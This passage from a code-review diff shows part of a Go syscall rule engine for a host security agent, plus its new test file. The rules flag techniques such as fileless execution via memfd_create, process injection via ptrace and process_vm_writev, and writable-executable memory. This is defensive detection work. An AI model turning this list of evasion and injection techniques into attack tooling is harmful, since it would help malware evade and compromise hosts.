Message: "memory locking syscall observed (possible protected in-memory payload)",
|
||||
Severity: "MEDIUM", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}),
|
||||
Predicate: alwaysSyscall,
|
||||
},
|
||||
}}
|
||||
}
|
||||
|
||||
func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
func protectedWX(protection uint64) bool {
|
||||
return protection&protWrite != 0 && protection&protExec != 0
|
||||
}
|
||||
|
||||
func alwaysSyscall(SyscallEvent) bool { return true }
|
||||
64
go-agent/internal/events/syscall_rules_test.go
Normal file
64
go-agent/internal/events/syscall_rules_test.go
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent {
|
||||
return SyscallEvent{
|
||||
PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name,
|
||||
Args: [6]uint64{arg0, 0, arg2},
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultSyscallRulesMatchPython(t *testing.T) {
|
||||
engine := DefaultSyscallRuleEngine()
|
||||
tests := []struct {
|
||||
event SyscallEvent
|
||||
sid int
|
||||
}{
|
||||
{syscallEvent("mprotect", 0, 0x6), 100060},
|
||||
{syscallEvent("mmap", 0, 0x7), 100061},
|
||||
{syscallEvent("memfd_create", 0, 0), 100062},
|
||||
{syscallEvent("ptrace", 16, 0), 100063},
|
||||
{syscallEvent("ptrace", 0x4206, 0), 100063},
|
||||
{syscallEvent("prctl", 22, 0), 100064},
|
||||
{syscallEvent("seccomp", 0, 0), 100064},
|
||||
{syscallEvent("process_vm_readv", 4242, 0), 100065},
|
||||
{syscallEvent("process_vm_writev", 4242, 0), 100065},
|
||||
{syscallEvent("mlock", 0, 0), 100066},
|
||||
{syscallEvent("mlockall", 0, 0), 100066},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 {
|
||||
t.Fatalf("read+exec mprotect matched: %#v", alerts)
|
||||
}
|
||||
if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 {
|
||||
t.Fatalf("non-sensitive ptrace matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSyscallAlertContract(t *testing.T) {
|
||||
event := syscallEvent("memfd_create", 1, 0)
|
||||
event.Text = "payload"
|
||||
alert := DefaultSyscallRuleEngine().Match(event)[0]
|
||||
if alert.SID != 100062 || alert.Severity != "MEDIUM" ||
|
||||
alert.Signature != "syscall_rule.fileless-execution" ||
|
||||
alert.Key != "syscall:100062:10:memfd_create:1:0" ||
|
||||
!strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue